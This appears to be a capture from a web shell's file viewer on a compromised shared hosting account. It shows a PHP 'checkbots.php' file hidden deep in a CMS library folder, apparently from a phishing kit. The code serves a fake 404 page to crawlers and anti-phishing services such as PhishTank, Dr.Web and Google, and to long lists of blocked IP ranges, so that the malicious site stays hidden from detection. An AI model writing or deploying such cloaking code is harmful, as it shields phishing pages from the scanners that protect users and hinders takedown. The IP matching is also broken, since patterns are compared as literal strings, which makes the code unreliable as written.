HEX
Server: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: iestorre (46869)
PHP: 8.0.30
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/i/e/s/iestorre/musica222/layouts/libraries/cms/kjhnbg/f8a391/en/bots/checkbots.php
<?php

class Bot{
    public static function isBot()
    {
        if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawl|slurp|spider|Dr.Web|hostinger|scanurl|above|google|facebook|softlayer|amazonaws|cyveillance|phishtank|dreamhost|netpilot|calyxinstitute|tor-exit|drweb/i', $_SERVER['HTTP_USER_AGENT'])) {
            return TRUE;
        }
        else {
            return FALSE;
        }
    }
    public static function pathInfo()
    {
        if(isset($_SERVER['PATH_INFO'])&&$_SERVER['PATH_INFO'])
        {
            return $_SERVER['PATH_INFO'];
        }
        return '/';
    }
    public function notFound()
    {
        http_response_code(404);
        echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
		<html><head>
		<title>404 Not Found</title>
		</head><body>
		<h1>Not Found</h1>
		<p>The requested URL '.Bot::pathInfo().' was not found on this server.</p>
		<p>Additionally, a 404 Not Found
		error was encountered while trying to use an ErrorDocument to handle the request.</p>
		</body></html>';
        die;
    }
    public static function checkbot(){
        if(bot::isBot()){
            Bot::notFound();
        }
        if(bot::checkip()){
           bot::notFound();
        }
    }
    public  static  function checkip(){
        $IP_Connected = $_SERVER['REMOTE_ADDR'];
        $IP_Banned = array(
            "^66.102.*.*",
            "^38.100.*.*",
            "^107.170.*.*",
            "^149.20.*.*",
            "^38.105.*.*",
            "^74.125.*.*",
            "^66.150.14.*",
            "^54.176.*.*",
            "^38.100.*.*",
            "^184.173.*.*",
            "^66.249.*.*",
            "^128.242.*.*",
            "^72.14.192.*",
            "^208.65.144.*",
            "^74.125.*.*",
            "^209.85.128.*",
            "^216.239.32.*",
            "^74.125.*.*",
            "^207.126.144.*",
            "^173.194.*.*",
            "^64.233.160.*",
            "^72.14.192.*",
            "^66.102.*.*",
            "^64.18.*.*",
            "^194.52.68.*",
            "^194.72.238.*",
            "^62.116.207.*",
            "^212.50.193.*",
            "^69.65.*.*",
            "^50.7.*.*",
            "^131.212.*.*",
            "^46.116.*.* ",
            "^62.90.*.*",
            "^89.138.*.*",
            "^82.166.*.*",
            "^85.64.*.*",
            "^85.250.*.*",
            "^89.138.*.*",
            "^93.172.*.*",
            "^109.186.*.*",
            "^194.90.*.*",
            "^212.29.192.*",
            "^212.29.224.*",
            "^212.143.*.*",
            "^212.150.*.*",
            "^212.235.*.*",
            "^217.132.*.*",
            "^50.97.*.*",
            "^217.132.*.*",
            "^209.85.*.*",
            "^66.205.64.*",
            "^204.14.48.*",
            "^64.27.2.*",
            "^67.15.*.*",
            "^202.108.252.*",
            "^193.47.80.*",
            "^64.62.136.*",
            "^66.221.*.*",
            "^64.62.175.*",
            "^198.54.*.*",
            "^192.115.134.*",
            "^216.252.167.*",
            "^193.253.199.*",
            "^69.61.12.*",
            "^64.37.103.*",
            "^38.144.36.*",
            "^64.124.14.*",
            "^206.28.72.*",
            "^209.73.228.*",
            "^158.108.*.*",
            "^168.188.*.*",
            "^66.207.120.*",
            "^167.24.*.*",
            "^192.118.48.*",
            "^67.209.128.*",
            "^12.148.209.*",
            "^12.148.196.*",
            "^193.220.178.*",
            "68.65.53.71",
            "^198.25.*.*",
            "^64.106.213.*",
            "54.228.218.117",
            "^54.228.218.*",
            "185.28.20.243",
            "^185.28.20.*",
            "217.16.26.166",
            "^217.16.26.*",
			"^52.236.33.*",
			"^104.27.178.*",
			"^65.55.252.*",
        );
        return in_array($IP_Connected,$IP_Banned);
    }
}


?>